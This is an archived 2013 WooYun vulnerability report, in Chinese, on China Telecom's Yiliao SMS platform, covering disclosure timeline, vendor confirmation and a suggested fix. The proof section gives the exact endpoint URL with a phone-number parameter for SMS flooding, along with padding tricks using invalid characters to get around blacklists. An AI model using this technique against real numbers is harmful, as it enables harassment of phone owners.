漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-025560
漏洞标题：电信翼聊设计缺陷，可制作手机轰炸器（无法黑名单，防护软件不会防御）
相关厂商：中国电信
漏洞作者： Moyo
提交时间：2013-06-19 16:50
修复时间：2013-08-03 16:50
公开时间：2013-08-03 16:50
漏洞类型：设计缺陷/逻辑错误
危害等级：中
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-06-19： 细节已通知厂商并且等待厂商处理中
2013-06-23： 厂商已经确认，细节仅向厂商公开
2013-07-03： 细节向核心白帽子及相关领域专家公开
2013-07-13： 细节向普通白帽子公开
2013-07-23： 细节向实习白帽子公开
2013-08-03： 细节向公众公开
简要描述：
通过绕过验证机制进行发送，这个必须高分啊，无法黑名单，防护软件不会防御的手机攻击软件，可是很有杀伤力的啊，，，不说死机，起码能烦死人关机
详细说明：
http://115.239.133.251:6090/imweb/toSouGou/index.html
登陆地址
毅聊是一款免费发送短信的平台
漏洞证明：
http://115.239.133.251:6090/imweb/phoneCheckCode.s?0.852204344626&sendPhone=手机号码&methodType=getPhoneCode
直接访问这个地址即可，利用起来相当方便，
而且翼聊最大的特点是发送的号码平台很多，，所以对于设置号码黑名单也同样可以攻击
弱弱表示，由于是大厂商，360也不会拦截短信
通过修改sendPhone的值就可以对指定手机进行轰炸了。。
无效支付好像只有%01~%19， 可以通过无数种组合方式进行无限攻击
发送格式{%xx}152*******{%oo}
152*******{%oo}
{%xx}152*******
152*******{%oo}{%oo}
自己组合吧。反正就是添加无效字符
修复方案：
既然 是手机号码，，限制全部为数字即可
版权声明：转载请注明来源 Moyo@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-06-23 23:33
厂商回复：
最新状态：
暂无